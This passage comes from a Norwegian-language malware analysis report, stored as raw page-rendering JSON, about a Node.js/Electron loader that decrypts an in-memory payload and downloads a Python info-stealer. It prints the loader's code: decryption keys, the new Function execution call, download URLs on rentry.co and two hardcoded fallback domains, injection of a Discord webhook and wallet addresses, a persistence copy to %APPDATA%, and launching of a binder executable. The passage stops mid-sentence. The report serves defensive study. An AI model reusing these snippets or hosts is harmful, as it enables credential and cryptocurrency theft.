key,\n",[1710,3154,3155,3157,3159,3162,3164],{"class":1712,"line":2100},[1710,3156,3047],{"class":3030},[1710,3158,3050],{"class":2795},[1710,3160,3161],{"class":3030},"(iv, ",[1710,3163,3056],{"class":2799},[1710,3165,3059],{"class":3030},[1710,3167,3168],{"class":1712,"line":2420},[1710,3169,3087],{"class":3030},[725,3171],{},"Den krypterte payloaden dekrypteres med standard CBC-modus (Cipher Block Chaining):",[616,3174,3176],{"className":3011,"code":3175,"language":3013,"meta":530,"style":530},"let decrypted = decipher.update(encdata, \"base64\", \"utf8\");\ndecrypted += decipher.final(\"utf8\");\n",[579,3177,3178,3207],{"__ignoreMap":530},[1710,3179,3180,3183,3186,3189,3192,3195,3198,3200,3202,3205],{"class":1712,"line":1713},[1710,3181,3182],{"class":3020},"let",[1710,3184,3185],{"class":3030}," decrypted ",[1710,3187,3188],{"class":3020},"=",[1710,3190,3191],{"class":3030}," decipher.",[1710,3193,3194],{"class":2795},"update",[1710,3196,3197],{"class":3030},"(encdata, ",[1710,3199,3056],{"class":2799},[1710,3201,647],{"class":3030},[1710,3203,3204],{"class":2799},"\"utf8\"",[1710,3206,3087],{"class":3030},[1710,3208,3209,3212,3215,3217,3220,3223,3225],{"class":1712,"line":531},[1710,3210,3211],{"class":3030},"decrypted ",[1710,3213,3214],{"class":3020},"+=",[1710,3216,3191],{"class":3030},[1710,3218,3219],{"class":2795},"final",[1710,3221,3222],{"class":3030},"(",[1710,3224,3204],{"class":2799},[1710,3226,3087],{"class":3030},[634,3228,3229,3232,3233,3236,3237,3258,3260],{},[568,3230,3231],{},"Dynamic Execution:","\nDen dekrypterte JavaScript-koden skrives aldri til disk. I stedet kjøres den dynamisk i minnet via ",[579,3234,3235],{},"Function","-konstruktøren:",[616,3238,3240],{"className":3011,"code":3239,"language":3013,"meta":530,"style":530},"new Function(\"require\", decrypted)(require);\n",[579,3241,3242],{"__ignoreMap":530},[1710,3243,3244,3247,3250,3252,3255],{"class":1712,"line":1713},[1710,3245,3246],{"class":3020},"new",[1710,3248,3249],{"class":2795}," Function",[1710,3251,3222],{"class":3030},[1710,3253,3254],{"class":2799},"\"require\"",[1710,3256,3257],{"class":3030},", decrypted)(require);\n",[725,3259],{},"Teknikken muliggjør filløs kjøring og reduserer sjansen for å bli oppdaget av tradisjonelle antivirusmotorer som bygger på diskbasert skanning.",[526,3262,3263],{},"Denne tilnærmingen viser et lagdelt forsvar mot reverse engineering ved å kombinere key derivation, sterk kryptering og dynamisk kjøring i minnet.",[526,3265,3266],{},[568,3267,3268],{},"Key Material and Encrypted Data",[526,3270,3271],{},"Skriptet inneholder følgende hardkodede inndata:",[631,3273,3274,3280,3288,3296],{},[634,3275,3276,3279],{},[568,3277,3278],{},"Encrypted Data:"," En enorm Base64-kodet blob",[634,3281,3282,1565,3285],{},[568,3283,3284],{},"Master Key:",[579,3286,3287],{},"9uNXNGt8/7kN7ZiEvy1OdYNpbcnzkERs",[634,3289,3290,1565,3292,3295],{},[568,3291,3112],{},[579,3293,3294],{},"maXtklzMEZRY9dbul/XPSw=="," (Base64-kodet)",[634,3297,3298,1565,3301,3295],{},[568,3299,3300],{},"IV:",[579,3302,3303],{},"HwK6sOz7FBbL+YsrOxtYUg==",[526,3305,3306,3307,614],{},"Alt dette ligger innebygd direkte i kildekoden til ",[579,3308,2837],{},[741,3310,3312],{"id":3311},"_62-payload-atferd-etter-dekryptering","6.2 Payload-atferd etter dekryptering",[526,3314,747],{},[526,3316,3317],{},"Når den er dekryptert, blir den innebygde payloaden et fullverdig JavaScript-program som utfører følgende skadelige handlinger:",[889,3319,3321],{"id":3320},"_621-klargjøring-av-miljøet","6.2.1 Klargjøring av miljøet",[526,3323,895],{},[526,3325,3326],{},"Den dekrypterte payloaden starter med å sette opp kjøringsmiljøet sitt ved hjelp av innebygde Node.js-moduler. Denne oppsettsfasen sørger for at alle nødvendige stier og arbeidskataloger er tydelig definert før noe skadelig skjer.",[631,3328,3329,3362],{},[634,3330,3331,3334,3335,3338,3339],{},[568,3332,3333],{},"Temporary Directory Resolution:","\nMalwaren kaller ",[579,3336,3337],{},"os.tmpdir()"," for å finne stien til systemets midlertidige katalog. Det er en vanlig taktikk for malware, siden midlertidige mapper som regel er skrivbare og granskes mindre nøye av endpoint protection-systemer.",[616,3340,3342],{"className":3011,"code":3341,"language":3013,"meta":530,"style":530},"const tempDir = os.tmpdir();\n",[579,3343,3344],{"__ignoreMap":530},[1710,3345,3346,3348,3351,3353,3356,3359],{"class":1712,"line":1713},[1710,3347,3021],{"class":3020},[1710,3349,3350],{"class":2803}," tempDir",[1710,3352,3027],{"class":3020},[1710,3354,3355],{"class":3030}," os.",[1710,3357,3358],{"class":2795},"tmpdir",[1710,3360,3361],{"class":3030},"();\n",[634,3363,3364,3367,3368,3381],{},[568,3365,3366],{},"Path Construction:","\nSkriptet setter deretter sammen absolutte stier til to viktige filer:",[631,3369,3370,3375],{},[634,3371,3372,3374],{},[579,3373,2898],{},": Arkivet som inneholder selve second stage-stealeren i Python",[634,3376,3377,3380],{},[579,3378,3379],{},"bnd.exe",": En valgfri kjørbar fil som kan fungere som persistence-backdoor eller ekstra payload",[616,3382,3384],{"className":3011,"code":3383,"language":3013,"meta":530,"style":530},"const tempFile = path.join(tempDir, \"pyth.zip\");\nconst binderFile = path.join(tempDir, \"bnd.exe\");\n",[579,3385,3386,3409],{"__ignoreMap":530},[1710,3387,3388,3390,3393,3395,3398,3401,3404,3407],{"class":1712,"line":1713},[1710,3389,3021],{"class":3020},[1710,3391,3392],{"class":2803}," tempFile",[1710,3394,3027],{"class":3020},[1710,3396,3397],{"class":3030}," path.",[1710,3399,3400],{"class":2795},"join",[1710,3402,3403],{"class":3030},"(tempDir, ",[1710,3405,3406],{"class":2799},"\"pyth.zip\"",[1710,3408,3087],{"class":3030},[1710,3410,3411,3413,3416,3418,3420,3422,3424,3427],{"class":1712,"line":531},[1710,3412,3021],{"class":3020},[1710,3414,3415],{"class":2803}," binderFile",[1710,3417,3027],{"class":3020},[1710,3419,3397],{"class":3030},[1710,3421,3400],{"class":2795},[1710,3423,3403],{"class":3030},[1710,3425,3426],{"class":2799},"\"bnd.exe\"",[1710,3428,3087],{"class":3030},[526,3430,3431],{},"Dette stioppsettet abstraherer bort OS-spesifikk stisyntaks og gjør at malwaren kan kjøre problemfritt på alle Windows-systemer. Det legger også grunnlaget for mekanismene for nedlasting og utpakking av filer som følger.",[889,3433,3435],{"id":3434},"_622-nedlasting-av-payload-med-fallback-strategi","6.2.2 Nedlasting av payload med fallback-strategi",[526,3437,895],{},[526,3439,3440],{},"Den andre store fasen i den dekrypterte JavaScript-payloaden handler om å laste ned et skadelig ZIP-arkiv fra eksterne kilder. Mekanismen er utformet med en fallback-strategi i flere nivåer som øker robustheten og tilgjengeligheten.",[631,3442,3443,3475,3560,3594],{},[634,3444,3445,3448,3449,3469,3471,3472,3474],{},[568,3446,3447],{},"Primary Link Resolution via Rentry.co","\nSkriptet starter med å slå opp en dynamisk URL fra en tjeneste for tekstlim. Det sender en GET-forespørsel til:",[616,3450,3452],{"className":3011,"code":3451,"language":3013,"meta":530,"style":530},"const url = \"https://rentry.co/7vzd22fg36hfdd33/raw\";\n",[579,3453,3454],{"__ignoreMap":530},[1710,3455,3456,3458,3461,3463,3466],{"class":1712,"line":1713},[1710,3457,3021],{"class":3020},[1710,3459,3460],{"class":2803}," url",[1710,3462,3027],{"class":3020},[1710,3464,3465],{"class":2799}," \"https://rentry.co/7vzd22fg36hfdd33/raw\"",[1710,3467,3468],{"class":3030},";\n",[725,3470],{},"Dette returnerer en URL-streng i klartekst som peker på den faktiske plasseringen av ",[579,3473,2898],{},"-arkivet. Å bruke en slik omdirigeringsmekanisme er en vanlig obfuskeringsteknikk. Den abstraherer bort den virkelige skadelige URL-en og gjør statisk deteksjon vanskeligere.",[634,3476,3477,3480,3481,3513,3515,3516,3518,3519,3553,3555,3556,3559],{},[568,3478,3479],{},"Download Execution","\nDen oppslåtte URL-en forespørres deretter med Axios-biblioteket og en response stream:",[616,3482,3484],{"className":3011,"code":3483,"language":3013,"meta":530,"style":530},"const fileResponse = await axios.get(fileUrl, { responseType: \"stream\" });\n",[579,3485,3486],{"__ignoreMap":530},[1710,3487,3488,3490,3493,3495,3498,3501,3504,3507,3510],{"class":1712,"line":1713},[1710,3489,3021],{"class":3020},[1710,3491,3492],{"class":2803}," fileResponse",[1710,3494,3027],{"class":3020},[1710,3496,3497],{"class":3020}," await",[1710,3499,3500],{"class":3030}," axios.",[1710,3502,3503],{"class":2795},"get",[1710,3505,3506],{"class":3030},"(fileUrl, { responseType: ",[1710,3508,3509],{"class":2799},"\"stream\"",[1710,3511,3512],{"class":3030}," });\n",[725,3514],{},"Filen skrives til disk som ",[579,3517,2898],{}," i systemets temp-katalog:",[616,3520,3522],{"className":3011,"code":3521,"language":3013,"meta":530,"style":530},"const writer = fs.createWriteStream(tempFile);\nfileResponse.data.pipe(writer);\n",[579,3523,3524,3542],{"__ignoreMap":530},[1710,3525,3526,3528,3531,3533,3536,3539],{"class":1712,"line":1713},[1710,3527,3021],{"class":3020},[1710,3529,3530],{"class":2803}," writer",[1710,3532,3027],{"class":3020},[1710,3534,3535],{"class":3030}," fs.",[1710,3537,3538],{"class":2795},"createWriteStream",[1710,3540,3541],{"class":3030},"(tempFile);\n",[1710,3543,3544,3547,3550],{"class":1712,"line":531},[1710,3545,3546],{"class":3030},"fileResponse.data.",[1710,3548,3549],{"class":2795},"pipe",[1710,3551,3552],{"class":3030},"(writer);\n",[725,3554],{},"Nedlastingen pakkes inn i et ",[579,3557,3558],{},"Promise"," for å sikre at den er ferdig før videre logikk kjøres.",[634,3561,3562,3565,3566,3591,3593],{},[568,3563,3564],{},"Fallback URLs","\nFeiler Rentry-lenken, prøver skriptet hardkodede reserveplasseringer:",[616,3567,3569],{"className":3011,"code":3568,"language":3013,"meta":530,"style":530},"https://cosmicdust.zip/.well-known/pki-validation/pyth.zip\nhttps://cosmoplanets.net/well-known/pki-validation/pyth.zip\n",[579,3570,3571,3582],{"__ignoreMap":530},[1710,3572,3573,3576,3578],{"class":1712,"line":1713},[1710,3574,3575],{"class":2795},"https",[1710,3577,1200],{"class":3030},[1710,3579,3581],{"class":3580},"sJ8bj","//cosmicdust.zip/.well-known/pki-validation/pyth.zip\n",[1710,3583,3584,3586,3588],{"class":1712,"line":531},[1710,3585,3575],{"class":2795},[1710,3587,1200],{"class":3030},[1710,3589,3590],{"class":3580},"//cosmoplanets.net/well-known/pki-validation/pyth.zip\n",[725,3592],{},"Disse domenene er bygget opp for å se ut som deler av vanlige TLS-valideringsmapper, muligens for å etterligne Let's Encrypt eller stier for domenevalidering og dermed vekke mindre mistanke. Hvert fallback forsøkes med samme streaming- og filskrivingslogikk.",[634,3595,3596,3599,3600,3603],{},[568,3597,3598],{},"Robustness and Obfuscation","\nDenne fallback-mekanismen gir malwaren flere veier til å hente payloaden for andre trinn. Bruken av en dynamisk peker (",[579,3601,3602],{},"rentry.co",") og flere failover-speil gjør malwaren mer motstandsdyktig mot takedowns, blokkering og DNS-sinkholes.",[526,3605,3606],{},"Denne fasen viser at malware-utviklerne har planlagt driften nøye, med lagdelt redundans og godt kamuflert leveranseinfrastruktur.",[631,3608,3609,3615],{},[634,3610,3611,3612,3614],{},"Laster ned ",[579,3613,2898],{}," fra den oppslåtte URL-en",[634,3616,3617,3618],{},"Feiler det, forsøker den reservespeil:\n",[631,3619,3620,3625],{},[634,3621,3622],{},[579,3623,3624],{},"https://cosmicdust.zip/.well-known/pki-validation/pyth.zip",[634,3626,3627],{},[579,3628,3629],{},"https://cosmoplanets.net/well-known/pki-validation/pyth.zip",[889,3631,3633],{"id":3632},"_623-utpakking-og-manipulering-av-payloaden","6.2.3 Utpakking og manipulering av payloaden",[526,3635,895],{},[526,3637,3638,3639,3641,3642,3644],{},"Når ",[579,3640,2898],{},"-arkivet er lastet ned og lagret på disk, går malwaren videre med å pakke ut innholdet og klargjøre det for kjøring. Det skjer med Node.js-biblioteket ",[579,3643,2870],{},", som gir programmatisk håndtering av ZIP-filer.",[631,3646,3647,3695,3722],{},[634,3648,3649,3652,3689,3691,3692,3694],{},[568,3650,3651],{},"ZIP Extraction:",[616,3653,3655],{"className":3011,"code":3654,"language":3013,"meta":530,"style":530},"const zip = new AdmZip(tempFile);\nzip.extractAllTo(tempDir, true);\n",[579,3656,3657,3674],{"__ignoreMap":530},[1710,3658,3659,3661,3664,3666,3669,3672],{"class":1712,"line":1713},[1710,3660,3021],{"class":3020},[1710,3662,3663],{"class":2803}," zip",[1710,3665,3027],{"class":3020},[1710,3667,3668],{"class":3020}," new",[1710,3670,3671],{"class":2795}," AdmZip",[1710,3673,3541],{"class":3030},[1710,3675,3676,3679,3682,3684,3687],{"class":1712,"line":531},[1710,3677,3678],{"class":3030},"zip.",[1710,3680,3681],{"class":2795},"extractAllTo",[1710,3683,3403],{"class":3030},[1710,3685,3686],{"class":2803},"true",[1710,3688,3087],{"class":3030},[725,3690],{},"Dette pakker ut alt innholdet i arkivet til systemets midlertidige katalog. Flagget ",[579,3693,3686],{}," sørger for at eksisterende filer overskrives.",[634,3696,3697,3700,3701,3703,3704],{},[568,3698,3699],{},"Archive Contents:","\nArkivet ",[579,3702,2898],{}," inneholder et fullt pakket Python-prosjekt, blant annet:",[631,3705,3706,3709,3712],{},[634,3707,3708],{},"En katalogstruktur som ligner en legitim Python-pakke",[634,3710,3711],{},"Flere Python-moduler og avhengigheter",[634,3713,3714,3715,3717,3718,3721],{},"Nøkkelfilen ",[579,3716,610],{}," som ligger i ",[579,3719,3720],{},"Crypto/Util/astor.py",", og som er hovedpayloaden til stealeren",[634,3723,3724,3727,3728,3730,3731,3751],{},[568,3725,3726],{},"Placeholder Replacement:","\nMalwaren gjør dynamisk substitusjon av forhåndsdefinerte plassholdere i ",[579,3729,610],{}," for å injisere konfigurasjonsdata angriperen kontrollerer, som:",[631,3732,3733,3736,3739,3745],{},[634,3734,3735],{},"En Discord webhook-URL",[634,3737,3738],{},"Kryptovaluta-lommebokadresser (BTC, ETH, DOGE, LTC, XMR med flere)",[634,3740,3741,3742,1140],{},"En brukeridentifikator (",[579,3743,3744],{},"%USERID%",[634,3746,3747,3748,1140],{},"Et feilstatusflagg (",[579,3749,3750],{},"%ERRORSTATUS%",[616,3752,3754],{"className":3011,"code":3753,"language":3013,"meta":530,"style":530},"fs.readFile(extractedDir + \"\\Crypto\\Util\\astor.py\", 'utf8', (err, data) => {\n  let updatedFile = data\n    .replace(\"%DISCORD%\", \u003Cwebhook>)\n    .replace(\"%ADDRESSBTC%\", \u003Cbtc_address>)\n    ...\n    .replace(\"%ERRORSTATUS%\", displayError ? \"true\" : \"false\");\n\n  fs.writeFile(extractedDir + \"\\Crypto\\Util\\astor.py\", updatedFile, 'utf8');\n});\n",[579,3755,3756,3817,3830,3853,3863,3868,3873,3878,3884],{"__ignoreMap":530},[1710,3757,3758,3761,3764,3767,3770,3773,3776,3779,3782,3785,3788,3791,3793,3796,3799,3803,3805,3808,3811,3814],{"class":1712,"line":1713},[1710,3759,3760],{"class":3030},"fs.",[1710,3762,3763],{"class":2795},"readFile",[1710,3765,3766],{"class":3030},"(extractedDir ",[1710,3768,3769],{"class":3020},"+",[1710,3771,3772],{"class":2799}," \"",[1710,3774,3775],{"class":2803},"\\C",[1710,3777,3778],{"class":2799},"rypto",[1710,3780,3781],{"class":2803},"\\U",[1710,3783,3784],{"class":2799},"til",[1710,3786,3787],{"class":2803},"\\a",[1710,3789,3790],{"class":2799},"stor.py\"",[1710,3792,647],{"class":3030},[1710,3794,3795],{"class":2799},"'utf8'",[1710,3797,3798],{"class":3030},", (",[1710,3800,3802],{"class":3801},"s4XuR","err",[1710,3804,647],{"class":3030},[1710,3806,3807],{"class":3801},"data",[1710,3809,3810],{"class":3030},") ",[1710,3812,3813],{"class":3020},"=>",[1710,3815,3816],{"class":3030}," {\n",[1710,3818,3819,3822,3825,3827],{"class":1712,"line":531},[1710,3820,3821],{"class":3020},"  let",[1710,3823,3824],{"class":3030}," updatedFile ",[1710,3826,3188],{"class":3020},[1710,3828,3829],{"class":3030}," data\n",[1710,3831,3832,3835,3838,3840,3843,3846,3850],{"class":1712,"line":2094},[1710,3833,3834],{"class":3030},"    .",[1710,3836,3837],{"class":2795},"replace",[1710,3839,3222],{"class":3030},[1710,3841,3842],{"class":2799},"\"%DISCORD%\"",[1710,3844,3845],{"class":3030},", \u003C",[1710,3847,3849],{"class":3848},"s9eBZ","webhook",[1710,3851,3852],{"class":3030},">)\n",[1710,3854,3855,3858,3861],{"class":1712,"line":2100},[1710,3856,3857],{"class":3030},"    .replace(\"%ADDRESSBTC%\", \u003C",[1710,3859,3860],{"class":2803},"btc_address",[1710,3862,3852],{"class":3030},[1710,3864,3865],{"class":1712,"line":2420},[1710,3866,3867],{"class":3030},"    ...\n",[1710,3869,3870],{"class":1712,"line":2426},[1710,3871,3872],{"class":3030},"    .replace(\"%ERRORSTATUS%\", displayError ? \"true\" : \"false\");\n",[1710,3874,3875],{"class":1712,"line":3084},[1710,3876,3877],{"emptyLinePlaceholder":325},"\n",[1710,3879,3881],{"class":1712,"line":3880},8,[1710,3882,3883],{"class":3030},"  fs.writeFile(extractedDir + \"\\Crypto\\Util\\astor.py\", updatedFile, 'utf8');\n",[1710,3885,3887],{"class":1712,"line":3886},9,[1710,3888,3889],{"class":3030},"});\n",[526,3891,3892],{},"Denne dynamiske manipuleringsfasen er avgjørende. Ved å utsette innsettingen av angriperkontrollerte verdier til kjøretidspunktet unngår payloaden statisk deteksjon, og operatøren kan tilpasse mål og eksfiltreringsendepunkter uten å pakke arkivet om.",[631,3894,3895],{},[634,3896,3897,3898,3900,3901],{},"Erstatter plassholderstrenger i ",[579,3899,610],{},":\n",[631,3902,3903,3909,3919],{},[634,3904,3905,3906],{},"Discord webhook: ",[579,3907,3908],{},"%DISCORD%",[634,3910,3911,3912,647,3915,3918],{},"Lommebokadresser: ",[579,3913,3914],{},"%ADDRESSBTC%",[579,3916,3917],{},"%ADDRESSETH%"," osv.",[634,3920,3921],{},"Bruker-ID og feilflagg",[889,3923,3925],{"id":3924},"_624-kjøring-av-malwaren","6.2.4 Kjøring av malwaren",[526,3927,895],{},[631,3929,3930],{},[634,3931,3932,3933],{},"Når plassholderinjeksjonen i astor.py er ferdig, starter malwaren kjøringen av stealeren via et systemkall",[616,3934,3936],{"className":3011,"code":3935,"language":3013,"meta":530,"style":530},"exec(\"python.exe Crypto\\\\Util\\\\astor.py\");\n",[579,3937,3938],{"__ignoreMap":530},[1710,3939,3940,3943,3945,3948,3951,3954,3956,3959],{"class":1712,"line":1713},[1710,3941,3942],{"class":2795},"exec",[1710,3944,3222],{"class":3030},[1710,3946,3947],{"class":2799},"\"python.exe Crypto",[1710,3949,3950],{"class":2803},"\\\\",[1710,3952,3953],{"class":2799},"Util",[1710,3955,3950],{"class":2803},[1710,3957,3958],{"class":2799},"astor.py\"",[1710,3960,3087],{"class":3030},[526,3962,3963],{},"Kommandoen kjøres med child_process.exec-funksjonen i Node.js og starter den innebygde Python-payloaden i en egen prosess. Nettopp dette kjøringsmønsteret, python.exe med argumentet Crypto\\Util\\astor.py, ble observert i telemetridata samlet inn av Microsoft Defender for Endpoint, og det gjør det til en pålitelig deteksjonsartefakt. I praksis ser kjøringskjeden slik ut:",[526,3965,3966],{},"Hele kjøringskjeden til malwaren, slik den ble observert i telemetri fra Microsoft Defender for Endpoint, følger denne sekvensen:",[631,3968,3969,3977,3984,3990],{},[634,3970,3971,3973,3974],{},[579,3972,606],{}," (Electron-basert container) kaller ",[579,3975,3976],{},"node.exe",[634,3978,3979,3981,3982],{},[579,3980,3976],{}," starter ",[579,3983,1129],{},[634,3985,3986,3981,3988],{},[579,3987,1129],{},[579,3989,581],{},[634,3991,3992,3994,3995],{},[579,3993,581],{}," kjører filen ",[579,3996,1139],{},[889,3998,4000],{"id":3999},"_625-forsterkning-av-persistence","6.2.5 Forsterkning av persistence",[526,4002,895],{},[526,4004,4005,4006,4008],{},"For å sikre langvarig tilstedeværelse på det infiserte systemet inneholder den dekrypterte JavaScript-payloaden logikk for å gjenopprette persistence ved å kopiere den opprinnelige binaryen (",[579,4007,602],{},") til en skjult plassering i brukerprofilen.",[526,4010,4011],{},[568,4012,4013],{},"Target Directory",[526,4015,4016],{},"Filen kopieres til en katalog som etterligner legitime Windows-komponenter:",[616,4018,4020],{"className":3011,"code":4019,"language":3013,"meta":530,"style":530},"%APPDATA%\\Microsoft\\Internet Explorer\\UserData\\Updater.exe\n",[579,4021,4022],{"__ignoreMap":530},[1710,4023,4024,4027,4030,4032],{"class":1712,"line":1713},[1710,4025,4026],{"class":3020},"%",[1710,4028,4029],{"class":2803},"APPDATA",[1710,4031,4026],{"class":3020},[1710,4033,4034],{"class":3030},"\\Microsoft\\Internet Explorer\\UserData\\Updater.exe\n",[526,4036,4037],{},"Plasseringen er valgt med omhu:",[631,4039,4040,4043],{},[634,4041,4042],{},"%APPDATA% er skrivbar for vanlige brukere og krever ingen administratorrettigheter.",[634,4044,4045],{},"Katalognavnet etterligner legitime Microsoft-applikasjonsmapper, noe som gjør det mindre mistenkelig.",[526,4047,4048],{},[568,4049,4050],{},"Copy Mechanism:",[526,4052,4053],{},"Kopieringen bruker fs.copyFileSync()-funksjonen i Node.js:",[616,4055,4057],{"className":3011,"code":4056,"language":3013,"meta":530,"style":530},"fs.copyFileSync(\n  process.env.PORTABLE_EXECUTABLE_FILE,\n  path.join(\n    process.env.APPDATA,\n    \"Microsoft\",\n    \"Internet Explorer\",\n    \"UserData\",\n    \"Updater.exe\",\n  ),\n);\n",[579,4058,4059,4068,4078,4087,4096,4103,4110,4117,4124,4129],{"__ignoreMap":530},[1710,4060,4061,4063,4066],{"class":1712,"line":1713},[1710,4062,3760],{"class":3030},[1710,4064,4065],{"class":2795},"copyFileSync",[1710,4067,3037],{"class":3030},[1710,4069,4070,4073,4076],{"class":1712,"line":531},[1710,4071,4072],{"class":3030},"  process.env.",[1710,4074,4075],{"class":2803},"PORTABLE_EXECUTABLE_FILE",[1710,4077,3067],{"class":3030},[1710,4079,4080,4083,4085],{"class":1712,"line":2094},[1710,4081,4082],{"class":3030},"  path.",[1710,4084,3400],{"class":2795},[1710,4086,3037],{"class":3030},[1710,4088,4089,4092,4094],{"class":1712,"line":2100},[1710,4090,4091],{"class":3030},"    process.env.",[1710,4093,4029],{"class":2803},[1710,4095,3067],{"class":3030},[1710,4097,4098,4101],{"class":1712,"line":2420},[1710,4099,4100],{"class":2799},"    \"Microsoft\"",[1710,4102,3067],{"class":3030},[1710,4104,4105,4108],{"class":1712,"line":2426},[1710,4106,4107],{"class":2799},"    \"Internet Explorer\"",[1710,4109,3067],{"class":3030},[1710,4111,4112,4115],{"class":1712,"line":3084},[1710,4113,4114],{"class":2799},"    \"UserData\"",[1710,4116,3067],{"class":3030},[1710,4118,4119,4122],{"class":1712,"line":3880},[1710,4120,4121],{"class":2799},"    \"Updater.exe\"",[1710,4123,3067],{"class":3030},[1710,4125,4126],{"class":1712,"line":3886},[1710,4127,4128],{"class":3030},"  ),\n",[1710,4130,4132],{"class":1712,"line":4131},10,[1710,4133,3087],{"class":3030},[631,4135,4136,4139],{},[634,4137,4138],{},"PORTABLE_EXECUTABLE_FILE er en miljøvariabel mange packere (for eksempel Electron) setter automatisk for å referere til stien til binaryen som kjører.",[634,4140,4141],{},"path.join(...) bygger en fullt kvalifisert målsti på tvers av ulike operativsystemer.",[526,4143,4144],{},"Logikken kjører bare hvis filen ikke allerede finnes, og fungerer dermed som en selvreparasjonsmekanisme som gjenoppretter dropperen hvis den slettes.",[526,4146,4147,4150],{},[568,4148,4149],{},"Role in the Malware Chain","\nAt denne kopierte Updater.exe er til stede, sikrer at:",[631,4152,4153,4156],{},[634,4154,4155],{},"Loaderen kan utløse seg selv på nytt ved omstart av systemet.",[634,4157,4158],{},"Hele infeksjonskjeden (som fører til main.exe, node.exe og til slutt astor.py) kan starte på nytt uten å være avhengig av tradisjonelle registerbaserte persistence-mekanismer, som oftere blir overvåket.",[889,4160,4162],{"id":4161},"_626-valgfri-kjøring-av-binder","6.2.6 Valgfri kjøring av binder",[526,4164,895],{},[526,4166,4167,4168,4170],{},"I tillegg til å laste ned og kjøre hovedpayloaden til stealeren (",[579,4169,610],{},") inneholder den dekrypterte JavaScript-koden også logikk for valgfritt å laste ned og starte en sekundær kjørbar fil som kalles \"binder\". Komponenten kan brukes til persistence, distraksjon eller utrulling av flere malware-moduler.",[526,4172,4173],{},[568,4174,4175],{},"Conditional Execution",[526,4177,4178],{},"Binder-logikken aktiveres bare hvis et bestemt flagg er satt:",[616,4180,4182],{"className":3011,"code":4181,"language":3013,"meta":530,"style":530},"enableBinder = true;\n",[579,4183,4184],{"__ignoreMap":530},[1710,4185,4186,4189,4191,4194],{"class":1712,"line":1713},[1710,4187,4188],{"class":3030},"enableBinder ",[1710,4190,3188],{"class":3020},[1710,4192,4193],{"class":2803}," true",[1710,4195,3468],{"class":3030},[526,4197,4198,4199,4202],{},"I samplet vi analyserte, var verdien satt til ",[579,4200,4201],{},"false"," som standard, men logikken ligger fortsatt innebygd i payloaden og kan trivielt aktiveres i en annen kampanje eller variant.",[526,4204,4205],{},[568,4206,4207],{},"Binder Download Logic",[526,4209,4210,4211,1200],{},"Blir den aktivert, forsøker skriptet å hente en ekstern binary fra en URL definert av plassholderen ",[579,4212,4213],{},"%BINDERURL%",[616,4215,4217],{"className":3011,"code":4216,"language":3013,"meta":530,"style":530},"const fileUrl = \"%BINDERURL%\";\nconst fileResponse = await axios.get(fileUrl, { responseType: \"stream\" });\nconst writer = fs.createWriteStream(binderFile);\nfileResponse.data.pipe(writer);\n",[579,4218,4219,4233,4253,4268],{"__ignoreMap":530},[1710,4220,4221,4223,4226,4228,4231],{"class":1712,"line":1713},[1710,4222,3021],{"class":3020},[1710,4224,4225],{"class":2803}," fileUrl",[1710,4227,3027],{"class":3020},[1710,4229,4230],{"class":2799}," \"%BINDERURL%\"",[1710,4232,3468],{"class":3030},[1710,4234,4235,4237,4239,4241,4243,4245,4247,4249,4251],{"class":1712,"line":531},[1710,4236,3021],{"class":3020},[1710,4238,3492],{"class":2803},[1710,4240,3027],{"class":3020},[1710,4242,3497],{"class":3020},[1710,4244,3500],{"class":3030},[1710,4246,3503],{"class":2795},[1710,4248,3506],{"class":3030},[1710,4250,3509],{"class":2799},[1710,4252,3512],{"class":3030},[1710,4254,4255,4257,4259,4261,4263,4265],{"class":1712,"line":2094},[1710,4256,3021],{"class":3020},[1710,4258,3530],{"class":2803},[1710,4260,3027],{"class":3020},[1710,4262,3535],{"class":3030},[1710,4264,3538],{"class":2795},[1710,4266,4267],{"class":3030},"(binderFile);\n",[1710,4269,4270,4272,4274],{"class":1712,"line":2100},[1710,4271,3546],{"class":3030},[1710,4273,3549],{"class":2795},[1710,4275,3552],{"class":3030},[631,4277,4278,4284],{},[634,4279,4280,4281,4283],{},"Filen ",[579,4282,3379],{}," lagres i systemets midlertidige katalog.",[634,4285,4286,4287,4289],{},"Akkurat som ",[579,4288,2898],{}," lastes binaryen ned med Axios som strøm, for å unngå å laste hele binaryen inn i minnet.",[526,4291,4292],{},[568,4293,4294],{},"Execution Strategy",[526,4296,4297,4298,4300],{},"Etter en vellykket nedlasting kaller skriptet den nedlastede binaryen via ",[579,4299,1129],{},", slik at den kjører i en ny shell-kontekst:",[616,4302,4304],{"className":3011,"code":4303,"language":3013,"meta":530,"style":530},"exec(`start cmd /c start ${binderFile}`, ...);\n",[579,4305,4306],{"__ignoreMap":530},[1710,4307,4308,4310,4312,4315,4318,4321,4323,4326],{"class":1712,"line":1713},[1710,4309,3942],{"class":2795},[1710,4311,3222],{"class":3030},[1710,4313,4314],{"class":2799},"`start cmd /c start ${",[1710,4316,4317],{"class":3030},"binderFile",[1710,4319,4320],{"class":2799},"}`",[1710,4322,647],{"class":3030},[1710,4324,4325],{"class":3020},"...",[1710,4327,3087],{"class":3030},[526,4329,4330],{},"For å øke påliteligheten har skriptet retry-logikk:",[616,4332,4334],{"className":3011,"code":4333,"language":3013,"meta":530,"style":530},"setTimeout(() => {\n  exec(...);\n}, 5000);\n",[579,4335,4336,4348,4359],{"__ignoreMap":530},[1710,4337,4338,4341,4344,4346],{"class":1712,"line":1713},[1710,4339,4340],{"class":2795},"setTimeout",[1710,4342,4343],{"class":3030},"(() ",[1710,4345,3813],{"class":3020},[1710,4347,3816],{"class":3030},[1710,4349,4350,4353,4355,4357],{"class":1712,"line":531},[1710,4351,4352],{"class":2795},"  exec",[1710,4354,3222],{"class":3030},[1710,4356,4325],{"class":3020},[1710,4358,3087],{"class":3030},[1710,4360,4361,4364,4367],{"class":1712,"line":2094},[1710,4362,4363],{"class":3030},"}, ",[1710,4365,4366],{"class":2803},"5000",[1710,4368,3087],{"class":3030},[526,4370,4371],{},"Dermed forsøker malwaren å starte binaryen på nytt etter en kort pause, selv om den første kjøringen feiler, for eksempel på grunn av systembelastning eller race conditions.",[526,4373,4374],{},[568,4375,4376],{},"Use Cases for the Binder",[526,4378,4379],{},"Selv om det eksakte formålet med binder-binaryen ikke kommer fram i dette samplet (på grunn av plassholder-URL-en), brukes slike komponenter vanligvis til å:",[631,4381,4382,4385,4388,4391],{},[634,4383,4384],{},"Installere eller starte hovedkomponentene i malwaren på nytt",[634,4386,4387],{},"Vise falske installasjonsprogrammer eller lokkemiddelapplikasjoner",[634,4389,4390],{},"Rulle ut mer spyware, backdoors eller ransomware",[634,4392,4393],{},"Endre systeminnstillinger eller slå av 